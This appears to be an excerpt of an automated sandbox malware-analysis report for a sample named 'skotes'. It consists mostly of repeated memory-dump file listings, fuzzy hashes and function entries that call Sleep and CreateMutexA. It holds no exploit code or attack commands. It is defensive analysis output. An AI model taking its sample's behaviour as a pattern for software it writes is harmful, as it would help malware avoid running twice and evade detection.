Associated: 00000001.00000002.1837401066.0000000000CD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837424446.0000000000CD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837476528.0000000000CFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837498421.0000000000CFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837522402.0000000000D05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837543382.0000000000D0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837563673.0000000000D0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837585892.0000000000D13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837604437.0000000000D14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837624142.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837646989.0000000000D25000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837668389.0000000000D2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837695619.0000000000D34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837713752.0000000000D35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837733864.0000000000D3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837752627.0000000000D3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837775898.0000000000D4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837794922.0000000000D50000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837816265.0000000000D59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837970529.0000000000DA5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838480527.0000000000DA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838565346.0000000000DA9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838644652.0000000000DAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838667366.0000000000DB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838691360.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838713885.0000000000DC0000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 471c91d3d169c2ebfe500e85ef74d1ea02fe881da1655051a933cdcdae1a689b
Instruction ID: 5f44c85c1b0859569930ee46ba054ec97526151f07a5979945e7c8c97b62e4d4
Opcode Fuzzy Hash: 471c91d3d169c2ebfe500e85ef74d1ea02fe881da1655051a933cdcdae1a689b
Instruction Fuzzy Hash: 1E314C31B142009BEB089BB8DD8D7ADB7F5EF9A310F204619F014973D6D7758980C662

Function 00AAA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1836845284.0000000000AA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836869033.0000000000B02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836946382.0000000000B09000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836966900.0000000000B0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836994151.0000000000B17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837105663.0000000000C79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837126713.0000000000C7B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837151789.0000000000C90000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837172213.0000000000C91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837237857.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837260663.0000000000CA5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837291414.0000000000CB8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837312690.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837334034.0000000000CBA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837355126.0000000000CBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837379272.0000000000CCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837401066.0000000000CD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837424446.0000000000CD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837476528.0000000000CFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837498421.0000000000CFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837522402.0000000000D05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837543382.0000000000D0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837563673.0000000000D0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837585892.0000000000D13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837604437.0000000000D14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837624142.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837646989.0000000000D25000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837668389.0000000000D2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837695619.0000000000D34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837713752.0000000000D35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837733864.0000000000D3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837752627.0000000000D3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837775898.0000000000D4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837794922.0000000000D50000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837816265.0000000000D59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837970529.0000000000DA5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838480527.0000000000DA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838565346.0000000000DA9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838644652.0000000000DAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838667366.0000000000DB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838691360.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838713885.0000000000DC0000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7e92c1802a568256556f7f6e450047b1754abfaf9fd551b233a28534c3d75e1f
Instruction ID: 0ee2cd62a5a8e18f29bd70c7edcc6668df146d1d55f19d0a7442be89af493242
Opcode Fuzzy Hash: 7e92c1802a568256556f7f6e450047b1754abfaf9fd551b233a28534c3d75e1f
Instruction Fuzzy Hash: 36314A31B101008BEB08DB78DD8D7ADB7E6EF96314F248618E015973D2CB358980C756

Function 00AAA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1836845284.0000000000AA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836869033.0000000000B02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836946382.0000000000B09000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836966900.0000000000B0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836994151.0000000000B17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837105663.0000000000C79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837126713.0000000000C7B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837151789.0000000000C90000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837172213.0000000000C91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837237857.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837260663.0000000000CA5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837291414.0000000000CB8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837312690.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837334034.0000000000CBA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837355126.0000000000CBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837379272.0000000000CCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837401066.0000000000CD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837424446.0000000000CD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837476528.0000000000CFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837498421.0000000000CFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837522402.0000000000D05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837543382.0000000000D0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837563673.0000000000D0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837585892.0000000000D13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837604437.0000000000D14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837624142.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837646989.0000000000D25000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837668389.0000000000D2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837695619.0000000000D34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837713752.0000000000D35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837733864.0000000000D3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837752627.0000000000D3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837775898.0000000000D4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837794922.0000000000D50000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837816265.0000000000D59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837970529.0000000000DA5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838480527.0000000000DA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838565346.0000000000DA9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838644652.0000000000DAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838667366.0000000000DB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838691360.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838713885.0000000000DC0000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 582ae0df0f4d4396ce3c6a5ee1bf518433b56a0903f5180e9712a0a33082aa0e
Instruction ID: 33e678bb1501b1583e4a2156a99270d8a7e5dcbcd803d12a8d77cbb50c6c6bfe
Opcode Fuzzy Hash: 582ae0df0f4d4396ce3c6a5ee1bf518433b56a0903f5180e9712a0a33082aa0e
Instruction Fuzzy Hash: 07312831B101049BEB18DB78DD897AEB7F6DB96310F248659E014D72D6D7368980C652

Function 00AA9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1836845284.0000000000AA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836869033.0000000000B02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836946382.0000000000B09000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836966900.0000000000B0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836994151.0000000000B17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837105663.0000000000C79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837126713.0000000000C7B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837151789.0000000000C90000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837172213.0000000000C91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837237857.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837260663.0000000000CA5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837291414.0000000000CB8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837312690.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837334034.0000000000CBA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837355126.0000000000CBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837379272.0000000000CCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837401066.0000000000CD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837424446.0000000000CD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837476528.0000000000CFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837498421.0000000000CFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837522402.0000000000D05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837543382.0000000000D0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837563673.0000000000D0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837585892.0000000000D13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837604437.0000000000D14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837624142.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837646989.0000000000D25000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837668389.0000000000D2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837695619.0000000000D34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837713752.0000000000D35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837733864.0000000000D3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837752627.0000000000D3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837775898.0000000000D4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837794922.0000000000D50000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837816265.0000000000D59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837970529.0000000000DA5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838480527.0000000000DA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838565346.0000000000DA9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838644652.0000000000DAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838667366.0000000000DB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838691360.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838713885.0000000000DC0000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e095cccb93c02fc867c6ead597193e50e45ad8f316801ea52db04641a87f2f87
Instruction ID: ecdafb4c003a3fb8c0ec9de3a81295b1d47fc550f483eee9381c4b3bf7931b73
Opcode Fuzzy Hash: e095cccb93c02fc867c6ead597193e50e45ad8f316801ea52db04641a87f2f87
Instruction Fuzzy Hash: CD2149317142009BEB18AB6CEDCD76EF7A5EBD6310F204659E418872D6DB758A81C611

Function 00AAA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1836845284.0000000000AA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836869033.0000000000B02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836946382.0000000000B09000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836966900.0000000000B0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836994151.0000000000B17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837105663.0000000000C79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837126713.0000000000C7B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837151789.0000000000C90000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837172213.0000000000C91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837237857.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837260663.0000000000CA5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837291414.0000000000CB8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837312690.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837334034.0000000000CBA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837355126.0000000000CBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837379272.0000000000CCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837401066.0000000000CD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837424446.0000000000CD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837476528.0000000000CFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837498421.0000000000CFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837522402.0000000000D05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837543382.0000000000D0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837563673.0000000000D0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837585892.0000000000D13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837604437.0000000000D14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837624142.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837646989.0000000000D25000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837668389.0000000000D2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837695619.0000000000D34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837713752.0000000000D35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837733864.0000000000D3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837752627.0000000000D3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837775898.0000000000D4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837794922.0000000000D50000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837816265.0000000000D59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837970529.0000000000DA5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838480527.0000000000DA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838565346.0000000000DA9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838644652.0000000000DAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838667366.0000000000DB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838691360.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838713885.0000000000DC0000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 907faa97cf96391e94bf7095d7ea8ae3ee0c9e6954d596622124c4eef7a9c0a5
Instruction ID: fd1241a7f118787c3d3b4da67d8b26048862a910222a83c35685275c4a56c29d
Opcode Fuzzy Hash: 907faa97cf96391e94bf7095d7ea8ae3ee0c9e6954d596622124c4eef7a9c0a5
Instruction Fuzzy Hash: 812128317452009AEB386768DD9A73EB7D5DFAB700F240856E144972D2CF7E8981C593

Function 00AAA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00AAA963
CreateMutexA.KERNELBASE(00000000,00000000,00B03254), ref: 00AAA981

Memory Dump Source

Source File: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1836845284.0000000000AA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836869033.0000000000B02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836946382.0000000000B09000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836966900.0000000000B0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836994151.0000000000B17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837105663.0000000000C79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837126713.0000000000C7B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837151789.0000000000C90000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837172213.0000000000C91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837237857.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837260663.0000000000CA5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837291414.0000000000CB8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837312690.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837334034.0000000000CBA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837355126.0000000000CBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837379272.0000000000CCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837401066.0000000000CD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837424446.0000000000CD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmpDownload File
